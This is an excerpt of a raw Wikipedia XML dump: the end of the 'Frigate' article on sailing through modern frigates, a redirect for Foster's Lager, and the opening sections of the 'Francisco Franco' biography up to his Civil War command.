[[William Symonds|Sir William Symonds]] said of this vessel: ''&quot;She was an incomparable sailer, remarkable for her sharpness and the fineness of her lines; and many were built like her.&quot;'' Pett ''&quot;introduced convex lines on the immersed part of the hull, with the [[studding sail|studding]] and sprit sails; and, in short, he appears to have fully deserved his character of being the best ship architect of his time.&quot;''

This kind of 17th-century frigate later developed into the two-decked [[ship of the line]] of 60-70 guns.

The classic sailing frigate as we know it from the Napoleonic wars can be traced back to French developments in the second quarter of the 18th century. These ships were [[full rigged]] and carried all their main guns on a single gun deck, what had used to be the upper gun deck on similarly-sized two-decked ships earlier. The lower 'gun' deck now carried no armament and functioned as an [[orlop deck]] where the crew lived, and was in fact placed below the waterline of the new frigates. The new sailing frigates were able to fight with all their guns when the seas were so rough that comparable two-deckers had to close the gun-ports on their lower decks. Like the larger 74 which was developed at the same time, the new frigates sailed very well and were good fighting vessels due to a combination of long hulls and low upperworks compared to vessels of comparable size and firepower.

The [[Royal Navy]] captured a handful of the new [[France|French]] frigates during the early stages of the [[Seven Years' War]] (1756&amp;#8211;1763) and were duly impressed by them, particularly for their inshore handling capabilities. They soon built copies and started to adapt the type to their own needs, setting the standard for other frigates as a superpower.

Early frigates were armed with 9-pounder (4 kg) guns, development soon led to 12- and 18-pounder (5 and 8 kg) armed frigates, and at the turn of the century the biggest ones even carried 24 pounder (11 kg) main batteries.

Royal Navy frigates of the late 18th century were based on the 1780-vintage ''Perseverance'' class, which displaced around 900 tons and carried 36 guns; this successful class was followed by the ''Tribune'' class batch of fifteen ships starting in 1801 that displaced over 1,000 tons and carried 38 guns.


===The Age of Sail===
[[Image:Dumont-d'Urville.web.jpg|thumb|left|''[[Astrolabe_frigate|L'Astrolabe]]'', of [[Jules Dumont d'Urville|Dumont d'Urville]]]]
[[Image:20000_Abraham_Lincoln.jpg|right|thumb|The fictitious ironclad frigate ''USS Abraham Lincoln'', based on late 19th Century vessels, from the novel ''[[Twenty Thousand Leagues Under the Sea]]'']]

A frigate was a medium-sized sailing warship with one gun deck, plus guns on the spar deck. It was faster than the larger [[ship of the line]] and larger than a [[sloop-of-war]]. British sailing frigates during the period 1640-1860 were rated [[fourth-rate]], [[fifth-rate]] and [[sixth-rate]] according to the [[rating system of the Royal Navy]].

Frigates were perhaps the hardest-worked of warship types during the [[age of sail]]. They scouted for the fleet, went on commerce-raiding missions and patrols, conveyed messages and dignitaries, and filled in places in the [[line of battle]] if there was a shortage of [[battleship]]s (from the term &quot;line of battle&quot; ship, but more commonly referred to as &quot;[[ships of the line]]&quot; or referred to by the number of guns they carried (for example, &quot;74s&quot;). Usually frigates would fight in small numbers or singly against other frigates.  Unlike larger ships that were placed in ordinary, frigates were kept in service in peacetime both as a cost-saving measure and to provide quality experience to frigate captains and officers which would be useful in wartime. Frigates may also carry marines or naval infantry for land-based and ship-boarding operations.

In the 17th century, frigates were masterpieces of engineering and design; the British added more sails and weapons, the Dutch made frigates with a shallow draft and the French added bow and stern weapons and [[Baroque]] designs. Frigate armament ranged from 22 guns on one deck to up to even 70+ guns on two decks. Common armament was 32 to 44 long guns, from 8 to 24 pounders (3.6 to 11 kg), plus a few [[carronade]]s (large bore short range guns), which weren't counted in the rating of the ship. In the early steam age (1840-60) steam frigates were the fastest ships around, finally evolving into the cruisers of the 20th century.

The oldest commissioned warship in the US Navy is [[USS Constitution| USS ''Constitution'']], better known as &quot;Old Ironsides&quot;, a frigate launched [[21 October]] [[1797]]. It is the oldest commissioned warship afloat in the world; [[HMS Victory|HMS ''Victory'']], although older, is maintained in drydock. The US Navy's 44-gun frigates (or &quot;super-frigates&quot;), which usually actually carried 56-60 guns, were very powerful and tough. These ships were so well-respected that they were often seen as equal to 4th-rate ships of the line, and RN fighting instructions ordered British frigates (usually 32-guns or less) to never engage American frigates at any less than a 2:1 advantage.

In the late [[1800s]], the term &amp;quot;frigate&amp;quot; fell out of naval fashion; ships that had been designated frigates were redesignated &amp;quot;cruising-ships&amp;quot; and from there to [[cruiser]]s. The term &amp;quot;frigate&amp;quot; would lie mostly unused until after the Second World War, when it would be reappropriated to describe ships that during that war had been called [[destroyer escort|destoryer escorts]].

===Modern frigates===
{| align=right
|[[Image:Uss vandergif.jpg|thumb|USS ''Vandegrift'', an [[Oliver Hazard Perry class frigate|''Oliver Hazard Perry''-class]] frigate]]
|-
|[[Image:HMAS Anzac F-150.jpg|thumb|[[Royal Australian Navy]] frigate, [[HMAS Anzac (FFH 150)|HMAS ''Anzac'']]]]
|-
|[[Image:HMCS Regina.jpg|thumb|[[HMCS Regina (FFH 334)|HMCS ''Regina'']], a [[Halifax class frigate|''Halifax''-class]] frigate]]
|-
|[[Image:FS_Surcouf.jpg|thumb|[[La Fayette class frigate|''La Fayette''-class]] stealth frigate [[FS Surcouf|''Surcouf'']]]]
|-
|[[Image:Fregatte Mecklenburg-Vorpommern F218.jpg||thumb|[[Brandenburg class frigate|''Brandenburg''-class]] frigate ''Mecklenburg-Vorpommern'']]
|-
|&lt;!-- Image with unknown copyright status removed: [[Image:15aa.jpg|thumb|[[Indian Navy|INS]] [[INS Trishul (F43)|''Trishul'']], a [[Talwar Class Frigates|''Talwar''-class frigate]]]] --&gt;
|-
|}

Modern frigates are only related to earlier frigates by name. The term &quot;frigate&quot; passed out of use in the mid-19th Century and was readopted during [[World War II]] by the British to describe an anti-submarine escort vessel larger than a [[corvette]] but smaller than a [[destroyer]]. Such vessels possessed somewhat less firepower than a [[destroyer]], had a smaller fuel capacity and a lower top speed due to inferior propulsion systems. To cross even the Atlantic ocean, such a vessel needs to be refueled en route. These limitations were not much hardship for a WWII anti-submarine vessel but would seriously hinder a battle fleet in which destroyers were replaced by such frigates.

In the 1960s and 1970s, &quot;guided missile frigates&quot; have brought an anti-air warfare (AAW) capability to the frigate mission, but they have some limitations. Designed as cost-efficient surface combatants, they lack the multi-mission capability necessary for modern surface combatants faced with multiple, high-technology threats and offer limited capacity for growth. Until 1975 in the US Navy, these vessels were called &amp;quot;[[Ocean escort|Ocean Escort]]s&amp;quot; and designated &amp;quot;DE&amp;quot; or &amp;quot;DEG&amp;quot; (a holdover from the Second World War, when they were called &amp;quot;[[Destroyer escort|Destroyer Escort]]s&amp;quot;). Other navies called them &quot;frigates&quot; from the end of World War II on.

[[Image:Frigate Class Ships.jpg|left|Modern Frigates]]

From the 1950s to the 1970s, guided missile &quot;frigates&quot; were commissioned in the United States Navy, which were actually AAW [[cruisers]] built on [[destroyer]]-style hulls; some of them (the American ''Bainbridge''-, ''Truxtun''-, ''California''- and ''Virginia''-classes) were nuclear powered. These were far larger than any other frigates ever seen (though the use of these &quot;frigates&quot; in comparison to the larger &quot;cruisers&quot; was analogous to the relationship between age of sail frigates and [[ships of the line]]), and all were properly reclassified as &quot;guided missile cruisers&quot; in 1975 (except for the smaller [[Farragut class destroyer (1958)|''Farragut''-class]] class ships, which were reclassified as [[guided missile destroyer]]s) and struck from the [[Naval Vessel Register]] in the [[1990s]]. With the improvement of the anti-air and anti-missile missiles (like the [[MBDA Aster|Aster 15]]), such frigates are increasingly used as a fleet defense platform.

At the opposite end of the spectrum, some frigates are specialised in [[anti-submarine warfare]] (ASW). They bear improved [[sonar]] equipment, [[torpedo]]es, and even missile-carried anti-submarine torpedoes like [[ASROC]]. They retain minimal anti-surface capabilites with anti-ship missiles (like the [[Exocet]]), but carry weapons against air threats only for self-defense.

Especially for ASW, most modern frigates have [[Helipad|landing decks]] aft and [[hangar]]s to carry [[helicopter]]s: Without the need of closing distance to detected unknown subsurface contacts and thus risking to be attacked a frigate utilizes its helicopters equipped with sensors such as [[sonobuoy]]s, wire-mounted dipping sonar and [[magnetic anomaly detector]]s to identify possible threats and combat confirmed targets with [[torpedo]]es or [[depth-charge]]s carried by the helicopter. With their onboard radar helicopters can also be used to reconnoiter for targets over the horizon and if equipped with [[anti-ship missile]]s such as [[Penguin missile|''Penguin'']] for anti-surface warfare as well. They are invaluable for [[search and rescue]] operation and largely replaced the use of [[dinghy|dinghies]] or the manouvre of bringing ships alongside for duties such as ferrying personell, mail and cargo between ships or ship-to-shore. With helicopters theses tasks can be accomplished faster and less dangerously and also allows the frigate to keep course.

Modern times have seen the arrival of [[Stealth technology|stealth]] frigates fitted with anti-missile capabilities. Their shapes, designed to offer a minimal radar signature, also give them a good air penetration; the manoeuverability of these frigates has been compared to those of sailing ships. A good example is the French [[La Fayette class frigate|''La Fayette''-class]] with the [[MBDA Aster|Aster 15]] missile.

Some new classes of frigates are optimized for high-speed deployment and combat with small craft ahead of the usual idea of sea combat between equal opponents, an example of this school of thought is the American [[Littoral Combat Ship]], as exemplified by the first ship of the type, [[USS Freedom (LCS-1)|USS ''Freedom'']].

===See also===
* [[Current frigates]] (will be superseded by lists below)
* [[List of frigates of the Royal Navy]]
* [[List of frigates of the United States Navy]]
* [[List of sailing frigates of the United States Navy]]
* [[Halifax class frigate|''Halifax''-class frigates of the Canadian Navy]]
* [[Rating system of the Royal Navy]]
* [[United States Navy 1975 ship reclassification]]

===Further reading===
*Gresham, John D., &quot;The swift and sure steeds of the fighting sail fleet were its dashing frigates&quot;, ''Military Heritage'' magazine,  (John D. Gresham, Military Heritage, February 2002, Volume 3, No.4, pp. 12 to 17 and p. 87).

===External links===
*[http://www.battleships-cruisers.co.uk/frigates.htm Frigates] from battleships-cruisers.co.uk - history and pictures of United Kingdom frigates since World War II
*[http://www.destroyersonline.com/usndd/fftypes.htm? Frigates] from Destroyers OnLine - pictures, history, crews of United States frigates since 1963
*[http://www.cronab.demon.co.uk/ches1.htm &quot;So Uneasy a Ship: The Unfortunate Career of the Frigate Chesapeake&quot; by Joseph C. Mosier]
* [http://www.greatgridlock.net/Sqrigg/squrig2.html The Development of the Full-Rigged Ship From the Carrack to the Full-Rigger]

===Lists of frigates===
Note that Algerian, Tripolitan and Tunisian sail frigates are listed under Turkey. All Italian city-state frigates are listed under Italy.

&lt;center&gt;
&lt;table border=2 cellspacing=2 bgcolor=883333&gt;
&lt;tr&gt;
&lt;td bgcolor=DD9966 width=&quot;25%&quot;&gt;'''Sail frigates&lt;br&gt;(1640-1860)'''&lt;/td&gt;
&lt;td bgcolor=DD9966 width=&quot;25%&quot;&gt;'''Steam frigates&lt;br&gt;(1830-1880)'''&lt;/td&gt;
&lt;td bgcolor=DD9966 width=&quot;25%&quot;&gt;'''Modern frigates&lt;br&gt;(1940-present)'''&lt;/td&gt;
&lt;td bgcolor=DD9966 width=&quot;25%&quot;&gt;'''Current frigates'''&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Australian frigates|Australia]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Australian current frigates|Australia]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of ships of the Canadian Navy#1939-1945 (World War II)|Canada]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of ships of the Canadian Navy#Halifax-class multi-role patrol frigates|Canada]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Danish sail frigates|Denmark]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Danish modern frigates|Denmark]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Egyptian sail frigates|Egypt]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of French sail frigates|France]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of French steam frigates|France]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of French modern frigates|France]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of French current frigates|France]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of German sail frigates|Germany]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of German steam frigates|Germany]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of German modern frigates|Germany]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of German current frigates|Germany]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Greek frigates|Greece]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Italian sail frigates|Italy]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Italian steam frigates|Italy]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Italian modern frigates|Italy]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Italian current frigates|Italy]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Netherlands sail frigates|Netherlands]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Netherlands current frigates|Netherlands]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Norwegian current frigates|Norway]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Peruvian steam frigates|Peru]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Peruvian modern frigates|Peru]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Peruvian current frigates|Peru]]&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Portuguese sail frigates|Portugal]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Russian sail frigates|Russia]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Russian steam frigates|Russia]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Russian modern frigates|Russia]]&lt;/td&gt;
&lt;td&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[Republic of Singapore Navy#Frigates|Singapore]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Spanish sail frigates|Spain]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Spanish steam frigates|Spain]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Spanish current frigates|Spain]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Swedish sail frigates|Sweden]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of Turkish frigates|Turkey]]&lt;/td&gt;
&lt;td bgcolor=FFFFFF&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of British sail frigates|United Kingdom]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of British steam frigates|United Kingdom]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of British frigates|United Kingdom]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of frigate classes of the Royal Navy|United Kingdom]]&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;
&lt;td bgcolor=DDCC99&gt;[[List of sailing frigates of the United States Navy|United States]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of steam frigates of the United States Navy|United States]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of modern frigates of the United States Navy|United States]]&lt;/td&gt;
&lt;td bgcolor=DDCC99&gt;[[List of frigates of the United States Navy|United States]]&lt;/td&gt;&lt;/tr&gt;
&lt;/table&gt;
&lt;/center&gt;

Partially from: http://www.chinfo.navy.mil/navpalib/factfile/ships/ship-ffg.html
[[image:Tackling.png|thumb|center|400px|''Sailing frigate and its [[rigging]]'']]

[[Category:Ship types]]

[[cs:Fregata]]
[[da:Fregat]]
[[de:Fregatte]]
[[es:Fragata]]
[[fr:Frégate (navire)]]
[[ja:フリゲート]]
[[hu:Fregatt]]
[[it:Fregata (nave)]]
[[nl:Fregat]]
[[no:Fregatt]]
[[nn:Fregatt]]
[[pl:Fregata (okręt)]]
[[pt:Fragata]]
[[ru:Фрегат]]
[[sl:Fregata]]
[[fi:Fregatti]]
[[sv:Fregatt]]
[[zh:护卫舰]]
[[zh-min-nan:Hō·-ōe-lām]]</text>
    </revision>
  </page>
  <page>
    <title>Fosters Lager</title>
    <id>11465</id>
    <revision>
      <id>15909209</id>
      <timestamp>2004-07-14T12:31:53Z</timestamp>
      <contributor>
        <username>Burschik</username>
        <id>69256</id>
      </contributor>
      <minor />
      <comment>changed to redirect</comment>
      <text xml:space="preserve">#REDIRECT[[Foster's Lager]]</text>
    </revision>
  </page>
  <page>
    <title>Francisco Franco</title>
    <id>11466</id>
    <revision>
      <id>42152134</id>
      <timestamp>2006-03-04T04:03:52Z</timestamp>
      <contributor>
        <username>Error</username>
        <id>9385</id>
      </contributor>
      <comment>I doubt several changes</comment>
      <text xml:space="preserve">:''&quot;Franco&quot; redirects here. For other uses, see [[Franco (disambiguation)]].''
[[Image:1francisco-franco.jpg|frame|right|150px|Francisco Franco]]
'''Francisco Paulino Hermenegildo Teódulo Franco y Bahamonde''' ([[Pronunciation|pron.]] [[International Phonetic Alphabet|IPA]] : {{IPA|[fran'θisko 'franko]}}; [[December 4]] [[1892]] &amp;ndash; [[November 20]] (or possibly [[November 19]] {{ref_label|Deathdate|*|none}}) [[1975]]), abbreviated '''Francisco Franco y Bahamonde''' and sometimes known as ''[[Generalissimo|Generalísimo]]'' '''Francisco Franco''', was the [[regent]] and [[Head of State]] of [[Spain]] (in parts of the country from [[1936]] and in its entirety from [[1939]]) until his death in [[1975]]. During his rule he was known officially as ''&quot;El [[Caudillo]] de la Ultima Cruzada y de la Hispanidad, El Caudillo de la Guerra de Liberacion contra el Comunismo y sus Complices&quot;{{citationneeded}}'' (The Leader of Last Crusade and Hispanidad, The Leader of Freedom War against comunism) and presided over the [[authoritarianism|authoritarian]] government of the [[Spanish State]] following victory in the [[Spanish Civil War]].

==Early life==
Franco was born in [[Ferrol, Spain|Ferrol]], [[Galicia (Spain)|Galicia]], [[Spain]]. His father ''Nicolas Franco Salgado-Araujo'' was a [[Navy]] accounting officer. His mother ''Pilar Bahamonde Pardo de Andrade'' also came from a family with naval tradition. He was sibling to  [[Nicolás Franco Bahamonde]], navy officer and diplomat, a sister, [[Pilar Franco Bahamonde]], latter a well known socialite, and  [[Ramón Franco]] a pioneer aviator and political conspirator.

His hometown was officially known as '''El Ferrol del Caudillo''' from [[1938]] to [[1982]].

As the entry into the Naval Academy was closed from [[1906]] to [[1913]], he entered in [[1907]] the Infantry Academy in [[Toledo, Spain]], where he graduated as 2nd [[lieutenant]] in [[1910]]. 

Two years later, he obtained a commission to [[Morocco]]. Spanish efforts to physically occupy their new [[African]] [[protectorate]] provoked a long protracted war (from [[1909]] to [[1927]]) with native Moroccans. Tactics at the time resulted in heavy losses among Spanish [[officer (armed forces)|military officers]], but also gave the chance of earning promotion through [[merit]]. This explains the saying that officers would get either ''la caja o la faja'' (a coffin or a general's sash).

Franco soon gained a reputation as a good officer. He joined the newly formed ''[[regulares]]'' [[colonial]] native troops with Spanish officials, which acted as [[shock troops]].

In [[1916]], at the age of 23 and already a [[captain#military|captain]], he was badly wounded in a [[skirmish]] at [[El Biutz]]. This action marked him permanently in the eyes of the native troops as a man of ''[[baraka]]'' (good luck). He was also proposed unsuccessfully for Spain's highest honor for gallantry, the coveted [[Cruz Laureada de San Fernando]]. Instead, he was promoted to [[major]] (''comandante''), becoming the youngest [[staff officer]] in the Spanish Army. 

From [[1917]] to [[1920]] he was posted on the Spanish mainland. That last year, Lieutenant Colonel [[José Millán Astray]], a [[histrionic]] but [[charismatic]] officer, founded the ''[[Spanish Foreign Legion|Legión Extranjera]]'', along similar lines to the [[French Foreign Legion]]. Franco became the ''Legión''&lt;nowiki&gt;'&lt;/nowiki&gt;s second-in-command and returned to Africa.

In summer [[1921]], the overextended Spanish army suffered ([[July 24]]) a [[Disaster of Annual|crushing defeat]] at [[Annual (Morocco)|Annual]] at the hands of the [[Rif]] tribes led by the [[Abd el-Krim]] brothers. The ''Legión'' symbolically, if not materially, saved the Spanish enclave of [[Melilla]] after a gruelling three-day forced march led by Franco. In [[1923]], already a [[lieutenant colonel]], he was made commander of the Legión.

The same year he married María del [[Carmen Polo|Carmen Polo y Martínez Valdés]] and they had one child, a daughter, [[María del Carmen]], born in [[1926]]. &lt;!--citation for birthdate: http://www.thepeerage.com/p11214.htm#i112139--&gt; As a special mark of honour, his [[best man]] (''padrino'') at the wedding was King [[Alfonso XIII of Spain|Alfonso XIII]], a fact which would mark him, during the [[Second Spanish Republic|Republic]] as a monarchical officer.

Promoted to Colonel, Franco led the first wave of troops ashore at [[Alhucemas]] in 1925. This landing in the heartland of Abd el-Krim's tribe, combined with the French invasion from the south, spelled the beginning of the end for the shortlived [[Republic of the Rif]].

Becoming the youngest [[general]] in Spain in [[1926]], Franco was appointed in [[1928]] director of the newly created '''Joint Military Academy''' in [[Zaragoza]], a common college for all Army [[cadet|cadets]].

==During the Second Spanish Republic==
[[Image:Celebracion_de_la_victoria_electoral_del_Frente_Popular_en_Madrid.jpg|left|thumb|200px|Jubilant demonstration in Madrid after the Popular Front victory in the Spanish general elections of 16 February 1936]]

At the fall of the monarchy in [[1931]], in keeping with his prior apolitical record, he did not take any remarkable attitude. But the closing of the Academy in June by then War Minister [[Manuel Azaña]] provoked the first clash: Azaña found Franco's farewell speech to the cadets [http://www.generalisimofranco.com/discurso12.htm] insulting, resulting in Franco being without a post for six months, and under surveillance.

On  [[February 5]][[1932]] he was given a command in [[A Coruña]]. Franco avoided being involved in [[Jose Sanjurjo]]'s attempted ''coup'' that year. As a side result of Azaña's military reform, in January [[1933]] Franco was relegated from the first to the 24th in the list of Brigadiers; conversely, the same year ([[February 17]]), he was given the military command of the [[Balearic Islands]]&amp;mdash;a post above his grade.

===The Asturias Uprising===
On October [[1933]], new elections were held, which resulted in a center-right majority. In opposition to this government, a [[Anarchism in Spain#Prelude to Revolution|revolutionary movement]] broke out [[October 5]], [[1934]]. This attempt was rapidly quelled in most of the country, but gained a stronghold in [[Asturias]], with the support of the [[miner]]s' unions. Franco, already general of a Division and assessor to the war minister, was put in command of the operations directed to suppress the insurgency. The forces of the Army in Africa were to carry the brunt of the operations, with General [[Eduardo López Ochoa]] as commander in the field. After two weeks of heavy fighting (and a death toll estimated between 1,200 and 2,000), the rebellion was suppressed. 


The uprising and, in general, the events that led over the next two years to the civil war, are still under heavy debate (between, for example, [[Enrique Moradiellos]] and [[Pio Moa]]: see [http://es.wikipedia.org/Revolución_de_1934], [http://www.nodulo.org/ec/2005/n035p02.htm], or [http://www.nodulo.org/ec/polemica.htm#p15]). Nonetheless, it is universally agreed that the insurgency in Asturias sharpened the antagonism between left and right. Franco and Lopez Ochoa&amp;mdash;who up to that moment was seen as a left-leaning officer&amp;mdash;were marked by the left as enemies. Lopez Ochoa was persecuted, jailed, and finally killed at the start of the war.

Some time after these events, Franco was briefly commander-in-chief of the Army of Africa (from [[February 15]][[1935]] onwards), and from [[May 19]][[1935]] on, [[Chief of the General Staff]], the top military post in Spain.

===The government of the Popular Front===
After the centre parties of the ruling coalition collapsed amid corruption scandals (the [[estraperlo]] case), new elections were scheduled. Two wide coalitions formed: the [[Popular Front (Spain)|Popular Front]] on the left, from Republicans to the Communists, and the [[Frente Nacional]], on the right, from the centre [[radicalism|radicals]] to the conservative [[Carlism|Carlists]]). On [[February 16]] [[1936]], the left won by a narrow margin[http://www.guerracivil1936.galeon.com/fpopular.htm]. The days after were marked by near chaotic circumstances. Franco lobbied unsuccessfully to have a state of emergency declared, with the stated purpose to quell the disturbances and allow an orderly vote recount. Instead, Franco was sent ([[February 23]]) as military commander of the [[Canary Islands]], a distant place with few troops under his command.

Meanwhile, the conspiracy led by [[Emilio Mola]] was taking shape, Franco was contacted, although he did not endorse the coup but maintained an ambiguous attitude almost up to July. Yet on [[June 23]] [[1936]], he wrote to the head of the government [[Casares Quiroga]] offering to quell the discontent in the army, but the government answer was never satisfactory to him. In July, after the middle classes and the centre-right joined the rebellion, the situation reached a point of no return and, as presented to Franco by Mola, the coup was unavoidable and he had to choose a side. Once decided to join, he was given the task of commanding the African Army. A private airplane (the Dragon Rapide) was chartered in England [[July 11]] to bring him to Africa. 

The assassination of the political opposition leader [[José Calvo Sotelo]] by government police troops triggered the uprising. On [[July 17]] the African Army rebelled, detaining their commanders. On [[July 18]] Franco published a manifesto [http://www.generalisimofranco.com/discurso11.htm] and left for Africa, where he arrived the next day to take command.

A week later, the rebels, who soon came to be known as the Nacionales (literally Nationals, but almost always referred to in English as Nationalists), controlled only a third of Spain, and most [[navy]] units remained under control of the opposition Republican forces, which left Franco isolated. The coup had failed, but the [[Spanish Civil War]] had begun.

==Franco during the War==
[[Image:Italians_leave_Spain_for_home.jpg|right|thumb|190px|Italians leave Spain for home. The Italians marching through the streets of Cadiz (Spain) on their way to the troopships for home. October 1938]]
See also [[Spanish Civil War]]
===The first months===
The first days of the rebellion were marked with the need of securing the control over the [[Protectorate]]. On one side, Franco managed to win the support of the natives and their (nominal) authorities. On the other to insure his control over the army. This led to the execution of some senior officers loyal to the republic (one of them his own first cousin) [http://www.memoriahistorica.org/alojados/periquete/paginas/noticias1.html].
Franco had to face the problem of how to move his troops to the [[Iberian Peninsula]], because most units of the Navy had remained in control of the republic and were blocking the [[Strait of Gibraltar]]. From the [[July 20]] onward he was able, with a small group of aeroplanes, to initiate an air bridge to [[Seville]], where his troops helped to insure the rebel control of the city. Through representatives, he started to negotiate with the [[United Kingdom]], [[Germany]] and [[Italy]] for military support, and above all for more aeroplanes. Negotiations were successful with the last two on [[July 25]], and aeroplanes began to arrive in [[Tetouan]] on [[August 2]]. [[August 5]], with this fresh air support, he was able to break the blockade and send a ship convoy with some 2,000 soldiers.

In early August, the situation in western [[Andalusia]] was stable enough to allow him to organize a column (some 15,000 men at its height), under the command of then Lieutenant-Colonel [[Juan Yagüe]], which would march through [[Extremadura]] towards [[Madrid]]. [[August 11]], [[Mérida]] was taken, and [[August 15]] [[Badajoz]], thus joining both nationalist-controlled areas.
On [[September 21]], with the head of the column at the town of [[Maqueda]] (some 80 km away from Madrid), Franco ordered a detour to free the besieged garrison at the [[Alcázar]] of [[Toledo (Spain)|Toledo]], which was achieved [[September 27]]. This decision was controversial even then, but resulted in an important propaganda success, both for the nationalist party and for Franco himself.

===Rise to power===
The designated leader of the uprising, Gen. [[José Sanjurjo]] had died on [[July 20]] in an air crash. The nationalist leaders managed to overcome this through regional commands: ([[Emilio Mola|Mola]] in the North, [[Gonzalo Queipo de Llano|Queipo]] in [[Andalusia]], Franco with an independent command and [[Miguel Cabanellas|Cabanellas]] in [[Aragon]]), and a coordinating [[junta]] nominally led by the last, as the most senior general.
On [[September 21]], it was decided that Franco was to be commander-in-chief, and [[September 28]], after some discussion, also head of government. On [[October 1]], [[1936]] he was publicly proclaimed as ''Generalissimo'' of the Nationalist army and ''Jefe del Estado'' ([[Head of State]]).

===Military command===
From that time until the end of the war, Franco personally guided military operations. After the failure to take [[Madrid]] in November [[1936]], Franco settled to a piecemeal approach to winning the war, rather than bold maneuvering. As with his decision to relieve the garrison at Toledo, this approach has been subject of some debate; some of his decisions, such as in June [[1938]] when he preferred to head for [[Valencia]] instead of [[Catalonia]], remain particularly controversial.

